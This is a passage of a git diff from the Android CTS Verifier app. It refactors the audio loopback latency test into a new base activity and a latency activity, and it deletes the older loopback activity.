         mButtonTestTone.setOnClickListener(mBtnClickListener);
         mProgressTone = (ProgressBar) findViewById(R.id.vr_test_tone_progress_bar);
@@ -231,7 +221,6 @@
         showWait(mProgressTone, false);
 
         //Test Noise
-        mLayoutTestNoise = (LinearLayout) findViewById(R.id.vr_layout_test_noise);
         mButtonTestNoise = (Button) findViewById(R.id.vr_button_test_noise);
         mButtonTestNoise.setOnClickListener(mBtnClickListener);
         mProgressNoise = (ProgressBar) findViewById(R.id.vr_test_noise_progress_bar);
@@ -241,8 +230,6 @@
         showWait(mProgressNoise, false);
 
         //USB Background
-        mLayoutTestUsbBackground = (LinearLayout)
-                findViewById(R.id.vr_layout_test_usb_background);
         mButtonTestUsbBackground = (Button) findViewById(R.id.vr_button_test_usb_background);
         mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
         mProgressUsbBackground = (ProgressBar)
@@ -251,7 +238,6 @@
                 findViewById(R.id.vr_test_usb_background_result);
         showWait(mProgressUsbBackground, false);
 
-        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.vr_layout_test_usb_noise);
         mButtonTestUsbNoise = (Button) findViewById(R.id.vr_button_test_usb_noise);
         mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
         mProgressUsbNoise = (ProgressBar)findViewById(R.id.vr_test_usb_noise_progress_bar);
@@ -401,11 +387,11 @@
     private void playerSetSource(int sourceIndex) {
         switch (sourceIndex) {
             case SOURCE_TONE:
-                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
                 break;
             default:
             case SOURCE_NOISE:
-                mSPlayer.setSoundWithResId(getApplicationContext(),
+                mSPlayer.setSoundWithResId(mContext,
                         R.raw.stereo_mono_white_noise_48);
                 break;
         }
@@ -429,16 +415,6 @@
         }
     }
 
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(LinearLayout layout, boolean enable) {
-        for (int i = 0; i < layout.getChildCount(); i++) {
-            View view = layout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
     private void showWait(ProgressBar pb, boolean show) {
         pb.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
     }
@@ -789,7 +765,7 @@
             mCurrentTest = mTestId;
             sendMessage(mTestId, TEST_STARTED,"");
             mUsbMicConnected =
-                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+                    UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
         };
         public void record(int durationMs) {
             mSRecorder.startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
deleted file mode 100644
index 5c3fa9f..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
-
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.MediaRecorder;
-
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-
-import android.util.Log;
-
-import android.view.View;
-import android.view.View.OnClickListener;
-
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
-import android.widget.ProgressBar;
-
-/**
- * Tests Audio Device roundtrip latency by using a loopback plug.
- */
-public class AudioLoopbackActivity extends PassFailButtons.Activity {
-    private static final String TAG = "AudioLoopbackActivity";
-
-    public static final int BYTES_PER_FRAME = 2;
-
-    NativeAnalyzerThread mNativeAnalyzerThread = null;
-
-    private int mSamplingRate = 44100;
-    private int mMinBufferSizeInFrames = 0;
-    private static final double CONFIDENCE_THRESHOLD = 0.6;
-
-    private double mLatencyMillis;
-    private double mConfidence;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    Context mContext;
-
-    Button mHeadsetPortYes;
-    Button mHeadsetPortNo;
-
-    Button mLoopbackPlugReady;
-    TextView mAudioLevelText;
-    SeekBar mAudioLevelSeekbar;
-    LinearLayout mLinearLayout;
-    Button mTestButton;
-    TextView mResultText;
-    ProgressBar mProgressBar;
-
-    int mMaxLevel;
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_loopback_plug_ready_btn:
-                    Log.i(TAG, "audio loopback plug ready");
-                    //enable all the other views.
-                    enableLayout(true);
-                    break;
-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest();
-                    break;
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
-                    mLoopbackPlugReady.setEnabled(true);
-                    recordHeadsetPortFound(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
-                    break;
-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
-                    recordHeadsetPortFound(false);
-                    getPassButton().setEnabled(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
-                    break;
-            }
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.audio_loopback_activity);
-
-        mContext = this;
-
-        mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
-        mHeadsetPortYes.setOnClickListener(mBtnClickListener);
-        mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
-        mHeadsetPortNo.setOnClickListener(mBtnClickListener);
-
-        mLoopbackPlugReady = (Button)findViewById(R.id.audio_loopback_plug_ready_btn);
-        mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
-        mLoopbackPlugReady.setEnabled(false);
-        mLinearLayout = (LinearLayout)findViewById(R.id.audio_loopback_layout);
-        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
-        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
-        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
-        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
-        showWait(false);
-
-        enableLayout(false);         //disabled all content
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setMax(mMaxLevel);
-        am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
-        refreshLevel();
-
-        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
-            @Override
-            public void onStopTrackingTouch(SeekBar seekBar) {
-            }
-
-            @Override
-            public void onStartTrackingTouch(SeekBar seekBar) {
-            }
-
-            @Override
-            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
-
-                AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-                am.setStreamVolume(AudioManager.STREAM_MUSIC,
-                        progress, 0);
-                refreshLevel();
-                Log.i(TAG,"Changed stream volume to: " + progress);
-            }
-        });
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_test, R.string.audio_loopback_info, -1);
-
-    }
-
-    /**
-     * refresh Audio Level seekbar and text
-     */
-    private void refreshLevel() {
-        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-
-        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setProgress(currentLevel);
-
-        String levelText = String.format("%s: %d/%d",
-                getResources().getString(R.string.audio_loopback_level_text),
-                currentLevel, mMaxLevel);
-        mAudioLevelText.setText(levelText);
-    }
-
-    /**
-     * enable test ui elements
-     */
-    private void enableLayout(boolean enable) {
-        for (int i = 0; i<mLinearLayout.getChildCount(); i++) {
-            View view = mLinearLayout.getChildAt(i);
-            view.setEnabled(enable);
-        }
-    }
-
-    /**
-     * show active progress bar
-     */
-    private void showWait(boolean show) {
-        if (show) {
-            mProgressBar.setVisibility(View.VISIBLE) ;
-        } else {
-            mProgressBar.setVisibility(View.INVISIBLE) ;
-        }
-    }
-
-    /**
-     *  Start the loopback audio test
-     */
-    private void startAudioTest() {
-        getPassButton().setEnabled(false);
-        mTestButton.setEnabled(false);
-        mLatencyMillis = 0.0;
-        mConfidence = 0.0;
-
-        mNativeAnalyzerThread = new NativeAnalyzerThread();
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.setMessageHandler(mMessageHandler);
-            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
-            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
-            mNativeAnalyzerThread.startTest();
-
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void handleTestCompletion() {
-        recordTestResults();
-        boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
-                && mLatencyMillis > 1.0;
-        getPassButton().setEnabled(resultValid);
-
-        // Make sure the test thread is finished. It should already be done.
-        if (mNativeAnalyzerThread != null) {
-            try {
-                mNativeAnalyzerThread.stopTest(2 * 1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    /**
-     * handler for messages from audio thread
-     */
-    private Handler mMessageHandler = new Handler() {
-        public void handleMessage(Message msg) {
-            super.handleMessage(msg);
-            switch(msg.what) {
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
-                    Log.v(TAG,"got message native rec started!!");
-                    showWait(true);
-                    mResultText.setText("Test Running...");
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error opening streams.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error while recording.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
-                    mResultText.setText("Test FAILED due to errors.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
-                    if (mNativeAnalyzerThread != null) {
-                        mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
-                        mConfidence = mNativeAnalyzerThread.getConfidence();
-                    }
-                    mResultText.setText(String.format(
-                            "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
-                            mLatencyMillis,
-                            mConfidence));
-                    handleTestCompletion();
-                    break;
-                default:
-                    break;
-            }
-        }
-    };
-
-    /**
-     * Store test results in log
-     */
-    private void recordTestResults() {
-
-        getReportLog().addValue(
-                "Estimated Latency",
-                mLatencyMillis,
-                ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-
-        getReportLog().addValue(
-                "Confidence",
-                mConfidence,
-                ResultType.HIGHER_BETTER,
-                ResultUnit.NONE);
-
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        getReportLog().addValue(
-                "Audio Level",
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        getReportLog().addValue(
-                "Frames Buffer Size",
-                mMinBufferSizeInFrames,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        getReportLog().addValue(
-                "Sampling Rate",
-                mSamplingRate,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        Log.v(TAG,"Results Recorded");
-    }
-
-    private void recordHeadsetPortFound(boolean found) {
-        getReportLog().addValue(
-                "User Reported Headset Port",
-                found ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
new file mode 100644
index 0000000..7f96464
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -0,0 +1,418 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.app.AlertDialog;
+
+import android.content.Context;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaRecorder;
+
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Base class for testing activitiees that require audio loopback hardware..
+ */
+public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
+    private static final String TAG = "AudioLoopbackActivity";
+
+    protected AudioManager mAudioManager;
+
+    // UI
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    Button mLoopbackPortYesBtn;
+    Button mLoopbackPortNoBtn;
+
+    TextView mInputDeviceTxt;
+    TextView mOutputDeviceTxt;
+
+    TextView mAudioLevelText;
+    SeekBar mAudioLevelSeekbar;
+
+    TextView mResultText;
+    ProgressBar mProgressBar;
+    int mMaxLevel;
+
+    // Peripheral(s)
+    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
+    AudioDeviceInfo mOutputDevInfo;
+    AudioDeviceInfo mInputDevInfo;
+
+    // Loopback Logic
+    NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+    protected double mLatencyMillis = 0.0;
+    protected double mConfidence = 0.0;
+
+    protected static final double CONFIDENCE_THRESHOLD = 0.6;
+    protected static final double PROAUDIO_LATENCY_MS_LIMIT = 20.0;
+
+    // The audio stream callback threads should stop and close
+    // in less than a few hundred msec. This is a generous timeout value.
+    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+    //
+    // Common UI Handling
+    //
+    void enableLayout(int layoutId, boolean enable) {
+        ViewGroup group = (ViewGroup)findViewById(layoutId);
+        for (int i = 0; i < group.getChildCount(); i++) {
+            group.getChildAt(i).setEnabled(enable);
+        }
+    }
+
+    private void connectLoopbackUI() {
+        // Has Loopback - Yes
+        mLoopbackPortYesBtn = (Button)findViewById(R.id.loopback_tests_yes_btn);
+        mLoopbackPortYesBtn.setOnClickListener(mBtnClickListener);
+
+        // Has Looback - No
+        mLoopbackPortNoBtn = (Button)findViewById(R.id.loopback_tests_no_btn);
+        mLoopbackPortNoBtn.setOnClickListener(mBtnClickListener);
+
+        // Connected Device
+        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+        // Loopback Info
+        findViewById(R.id.loopback_tests_info_btn).setOnClickListener(mBtnClickListener);
+
+        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setMax(mMaxLevel);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+        refreshLevel();
+
+        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+            @Override
+            public void onStopTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onStartTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+                        progress, 0);
+                refreshLevel();
+                Log.i(TAG,"Changed stream volume to: " + progress);
+            }
+        });
+
+        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+        showWait(false);
+
+        enableTestUI(false);
+    }
+
+    //
+    // Peripheral Connection Logic
+    //
+    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // CDD Section C-1-3: USB port, host-mode support
+
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        // Do we leave in the Headset test to support a USB-Dongle?
+        for (AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||     // USB Peripheral
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET ||    // USB dongle+LBPlug
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }  else {
+                handleDeviceConnection(devInfo);
+            }
+        }
+
+        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
+        showConnectedAudioPeripheral();
+
+    }
+
+    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+        // NOP
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    protected void showConnectedAudioPeripheral() {
+        mInputDeviceTxt.setText(
+                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+                        : "");
+        mOutputDeviceTxt.setText(
+                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+                        : "");
+    }
+
+    /**
+     * refresh Audio Level seekbar and text
+     */
+    private void refreshLevel() {
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setProgress(currentLevel);
+
+        String levelText = String.format("%s: %d/%d",
+                getResources().getString(R.string.audio_loopback_level_text),
+                currentLevel, mMaxLevel);
+        mAudioLevelText.setText(levelText);
+    }
+
+    private void showLoopbackInfoDialog() {
+        new AlertDialog.Builder(this)
+                .setTitle(R.string.loopback_dlg_caption)
+                .setMessage(R.string.loopback_dlg_text)
+                .setPositiveButton(R.string.audio_general_ok, null)
+                .show();
+    }
+
+    //
+    // show active progress bar
+    //
+    protected void showWait(boolean show) {
+        if (show) {
+            mProgressBar.setVisibility(View.VISIBLE) ;
+        } else {
+            mProgressBar.setVisibility(View.INVISIBLE) ;
+        }
+    }
+
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.loopback_tests_yes_btn:
+                    Log.i(TAG, "User confirms Headset Port existence");
+                    recordLoopbackStatus(true);
+                    mLoopbackPortYesBtn.setEnabled(false);
+                    mLoopbackPortNoBtn.setEnabled(false);
+                    break;
+
+                case R.id.loopback_tests_no_btn:
+                    Log.i(TAG, "User denies Headset Port existence");
+                    recordLoopbackStatus(false);
+                    getPassButton().setEnabled(true);
+                    mLoopbackPortYesBtn.setEnabled(false);
+                    mLoopbackPortNoBtn.setEnabled(false);
+                    break;
+
+                case R.id.loopback_tests_info_btn:
+                    showLoopbackInfoDialog();
+                    break;
+            }
+        }
+    }
+
+    //
+    // Common loging
+    //
+    protected void recordTestResults() {
+        ReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                "Estimated Latency",
+                mLatencyMillis,
+                ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+
+        reportLog.addValue(
+                "Confidence",
+                mConfidence,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Sample Rate",
+                mNativeAnalyzerThread.getSampleRate(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Is Peripheral Attached",
+                mIsPeripheralAttached,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        if (mIsPeripheralAttached) {
+            reportLog.addValue(
+                    "Input Device",
+                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    "Ouput Device",
+                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+        }
+    }
+
+    //
+    //  test logic
+    //
+    protected void startAudioTest(Handler messageHandler) {
+        getPassButton().setEnabled(false);
+        mLatencyMillis = 0.0;
+        mConfidence = 0.0;
+
+        mNativeAnalyzerThread = new NativeAnalyzerThread();
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.setMessageHandler(messageHandler);
+            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+            mNativeAnalyzerThread.startTest();
+
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    protected void handleTestCompletion() {
+        // Make sure the test thread is finished. It should already be done.
+        if (mNativeAnalyzerThread != null) {
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    /**
+     * handler for messages from audio thread
+     */
+    protected Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            switch(msg.what) {
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+                    Log.v(TAG,"got message native rec started!!");
+                    showWait(true);
+                    mResultText.setText("Test Running...");
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error opening streams.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error while recording.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+                    mResultText.setText("Test FAILED due to errors.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+                    if (mNativeAnalyzerThread != null) {
+                        mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
+                        mConfidence = mNativeAnalyzerThread.getConfidence();
+                    }
+                    mResultText.setText(String.format(
+                            "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
+                            mLatencyMillis,
+                            mConfidence));
+                    handleTestCompletion();
+                    break;
+                default:
+                    break;
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        connectLoopbackUI();
+    }
+
+    private void recordLoopbackStatus(boolean has) {
+        getReportLog().addValue(
+                "User reported loopback availability: ",
+                has ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    //
+    // Overrides
+    //
+    void enableTestUI(boolean enable) {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
new file mode 100644
index 0000000..ded5c1e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.Context;
+
+import android.os.Bundle;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Tests Audio Device roundtrip latency by using a loopback plug.
+ */
+public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
+    private static final String TAG = "AudioLoopbackLatencyActivity";
+
+//    public static final int BYTES_PER_FRAME = 2;
+
+    private int mMinBufferSizeInFrames = 0;
+
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    Button mTestButton;
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest();
+                    break;
+            }
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        // we need to do this first so that the layout is inplace when the super-class inits
+        setContentView(R.layout.audio_loopback_latency_activity);
+        super.onCreate(savedInstanceState);
+
+        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+    }
+
+    protected void startAudioTest() {
+        mTestButton.setEnabled(false);
+        super.startAudioTest(mMessageHandler);
+    }
+
+    protected void handleTestCompletion() {
+        super.handleTestCompletion();
+
+        boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
+                && mLatencyMillis > 1.0;
+        getPassButton().setEnabled(resultValid);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
+    }
+
+    /**
+     * Store test results in log
+     */
+    protected void recordTestResults() {
+        super.recordTestResults();
+
+        ReportLog reportLog = getReportLog();
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                "Audio Level",
+                audioLevel,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Frames Buffer Size",
+                mMinBufferSizeInFrames,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        Log.v(TAG,"Results Recorded");
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 42f22aa..2f74074 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -38,6 +38,8 @@
     private volatile boolean mEnabled = false;
     private volatile double mLatencyMillis = 0.0;
     private volatile double mConfidence = 0.0;
+    private volatile int mSampleRate = 0;
+
     private int mInputPreset = 0;
 
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED = 892;
